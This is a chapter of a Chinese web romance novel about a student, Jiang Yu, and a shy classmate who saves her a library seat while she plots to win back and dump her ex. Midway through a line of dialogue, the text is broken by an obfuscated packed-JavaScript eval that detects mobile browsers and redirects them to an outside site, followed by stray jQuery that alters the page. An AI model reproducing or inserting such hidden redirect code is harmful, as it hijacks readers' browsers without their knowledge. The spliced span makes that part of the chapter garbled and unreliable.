8. 第 8 章

作品:《每次失恋都会暴富

    不知道是因为钱,还是她分手之后迅速成长,方城觉得姜芋正在变得鲜活。


    她不那么架着自己了,相处起来轻松很多,而且虽然没有“复合”,他们却比以前更亲密,每天都在一起吃饭,他甚至有点不想放假了,他不想回家,因为那样就看不到姜芋了。


    姜芋最近的作息也很固定,每天早上八点去自习,上到十二点吃饭,下午两点继续复习,方城不知道图书馆有什么好去的,他总觉得很闷,很无聊。


    但是不久他就知道图书馆到底有什么让她可以每天雷打不动去复习。


    这天,姜芋比平时早去图书馆,七点不到就到了,那个男生竟然也已经到了。


    靠窗的一侧放着给姜芋占座的书,姜芋愣了一下,感觉心胡乱跳动起来。


    她好像只是发呆的时候喜欢看着窗外,没想到他今天竟然给她留的靠窗的座位,姜芋坐下,顺手把给他带的水掏出来,放在他桌上。


    淮明允看着面前的水,又看向她。


    这几天每天郑明朗都要打电话让他帮忙占座,来的就是这个女生,他不知道两人是什么关系,但是感觉她很安静很乖,不像是和郑明朗玩到一起的人,他犹豫过要不要问一下,但是打完字又觉得没有必要,自己问这么干什么。


    确实在这几天发现了她学一会儿就要放空一会儿,不是戴着耳机刷手机就是头靠在椅子上看向窗外,这样她的视线会从自己的身上经过,他会不自觉挺起脊梁骨,耳朵也会红,他知道不是看自己,但是总归不习惯。


    索性让她坐里面,这样就可以直接看外面,不用看自己了,没想到她今天居然给自己带了水,为什么?


    “谢谢你帮我占座。”姜芋说。


    现在是期末,一座难求,八九点来基本没有座位,但是她又起不了那么早,这么大个帅哥给她占座,姜芋不给他带水都说不过去了。


    再加上他和其他男生不一样,他长得帅养颜就算了,他身上的气味很好闻,她一闻就有一种沉溺安心的感觉,她初中进过男生宿舍,说是恶臭源头也不为过,直接被那臭味从里面熏出来,他完全不一样。


    要不要换一个实验对象?


    姜芋心想,不过这个念头转瞬即逝,选择方城是因为在感情持续的期间,她有很多委屈和痛苦,把他勾到手再分手,她不会有一点内疚感,但是这个人看起来是无辜的。


    当然还有另一个原因,她要先把经验值刷出来,跟方城把自己能想到的手段都用一遍,哪些又用哪些没用,她才好总结出来,方便下一次运用。


    她还以为自己喜欢的是方城那个类型,但是她对这个男生也产生了一种好感,所以她其实是喜欢长得帅的?


    姜芋对自己也多了一些了解。


    那就算了,她打消心中的念头,继续看书。


    她脑子里转了很多想法,都没有注意到他的表情一瞬间有点僵,嘴巴张了张没说话,她早就习惯了他的沉默,自然地坐下。


    淮明允去上厕所,回来的时候远远站了一会儿,从这里可以毫无压力地看这个女生,她很单薄,浓黑长发披散着,在图书馆的白色灯光下闪烁着绸缎一样的光泽,她也很有礼貌,从来不吵闹,也不在他旁边吃东西,学习的时间虽然不持久,但是玩手机也不会吵到他。他还蛮喜欢她坐自己旁边当一起学习的伙伴。


    但是她今天送水让他有点小鹿乱撞了,他不知道这个女生是什么意思,两人几乎是没说过话的,总是她来了,他就把书移开,然后她说一句“谢谢”他说一句“不客气”,然后两人各学各的。


    之前不是没有人给他送过水,但是ta们的意图还蛮明显的,就是喜欢他,想跟他在一起,所以他不会收,但是她是什么意思,他和这个女生一句话也没有说,她也从来没有表露出对他的任何意思,他反而会手足无措。


    只是因为占座位吗?那是因为与其让未知的人坐,不如让一个安静的人坐那。那也不用给他买水啊,他不知道怎么处理这种微小事项,因为没遇到过,刚才他为什么不说谢谢?他开始懊恼,为什么刚才自己不能很自然地跟她说一声谢谢,然后下次买一瓶还她就好了,现在搞得他不知道要怎么办,她会不会觉得自己很装?会不会觉得自尊心受挫,然后下次不来了了?那明天还要给她占座吗?


    他远远站在那里,觉得走过去的脚步都好沉重。


    但是真的走过去了,他又希望她说些什么,但是她什么都没有说,像是什么都没发生过,但是桌上那瓶水确实存在。


    他坐下,耳朵竖起来,希望听到她说话,但是她一如往常的安静。


    反而是他一直静不下心来学习,总是幻听她要跟自己说话了。


    到了中午,她一如往常,把手机和钥匙带上去吃饭。


    等她完全消失了,他的心才沉下来,这才稍显轻松地靠坐在椅子上,伸手抓了抓自己的头发,整齐的发型被抓乱了,他觉得自己的心也是乱糟糟的。


    下午姜芋来的时候,他已经在那了,姜芋有点惊讶,因为这几天他一直保持着一种一丝不苟的认真,不管是学习还是穿着,他的衣服不多,这几天已经轮了一遍了,但是他每套衣服只穿一天,头发也打整得很整洁,她这次发现他的头发竟然有点乱。


    不过这种乱更显得他年轻帅气的面孔有了属于他的躁动,总算不像是一尊放在旁边的雕像了。


    是遇到什么难题了吗?竟然会让他有这种非常规的表现。


    姜芋不知道自己是罪魁祸首,只以为是他学习上出了什么问题。


    她无能为力,因为她趁他去上厕所偷偷看过他的英语题,看不懂……更别说他那些专业书,看着都头痛。


    不过她是有能做的,比如借花献佛。


    她从包里掏了一盒果切出来,刚才方城给她买的,她好饱,根本吃不下,但是可以给淮明允吃,她把果切拿出来,推到他旁边。


    淮明允像是僵硬的机器人,缓缓转头。


    “吃


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085735|195384||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不?还蛮好吃的。”她悄声说。


    淮明允无声张嘴,又闭上。


    图书馆不可以吃东西,这是他一直遵守的准则之一,可是看到她殷切的眼神,似乎拒绝的话也说不出来。


    他摇摇头。


    “那我可以吃不?”她有些遗憾地问。


    淮明允点头。


    吃水果……又没什么味道,没关系的吧。


    他心里想,全然忘记了自己之前因为有人在旁边吃苹果,那种“咔嚓咔嚓”的声音让他多厌恶,他是一个高敏感高秩序的人,这种违规的不该出现在图书馆的声音会扰乱他,让他心里很烦。


    没想到自己却允许了另一个人的违规。


    是因为早上的那瓶水吗?


    他做好了被打扰的准备,却没想到她想了想,还是托着那盒果切到了走廊去,从他的角度可以看到走到走廊的姜芋被冻得一激灵,那边没有空调,可以背书,可以吃东西,那是属于第三界。


    是因为想到他才过去的吗?


    淮明允心中触动,她会不会觉得自己是一个很多事的人?


    但是她却是尊重了他的习惯,她已经注意到了,他的桌上从来没有任何零食水果的踪迹,书本摆放整齐,右上方只有一个装水的保温杯,所以他不会在图书馆吃东西。


    原来她能这么细腻地观察自己吗?


    淮明允指尖的笔转了几圈,最后飞出他的掌控,掉到了她的书上。


    他把笔捡回来,视线重新回到那个靠在栏杆上吃水果的人身上。


    雪已经化完了,城市变得湿漉漉,脏兮兮的,天也是灰蒙蒙的,有什么好看的呢?他顺着她的视线往外看。


    她今天为什么没有回去睡觉呢?


    他开始有了很多关于她的问题,虽然他连对方叫什么,多大,读什么专业都不知道,但是他已经知道了她在图书馆的规律。


    很快,她走进来,果切只吃了几块菠萝跟车厘子。


    一股酸甜的菠萝香气从未盖好的口子里透出来,让这个沉闷的图书馆有了一丝别样的味道。


    “你要吃的话,直接拿。”她说。


    他点点头。


    那盒果切就放在两人的书中间,她其实过界了。


    但是他始终没有把那盒果切推回去。


    这是淮明允学习效率最低的一天,他不知道为什么,总是心思烦乱,她在趴着睡觉,他看着她,一会儿觉得平静了,一会儿又觉得有另一种燥动。


    这是什么感觉?


    真让人琢磨不透,有点难受,可是又不愿从这束缚中挣脱出去。


    他受不了,拿着单词书站起来,走到走廊背书,他拿着书倚靠在她刚才趴着的栏杆上,视线仍然在她身上。


    一缕阳光照射在他的单词书上,他转过头,看到她刚才看的地方,层叠的乌云中间有一个缝隙,阳光正是从那里过来。


    原来是在等这一缕阳光吗?


    确实……很暖和。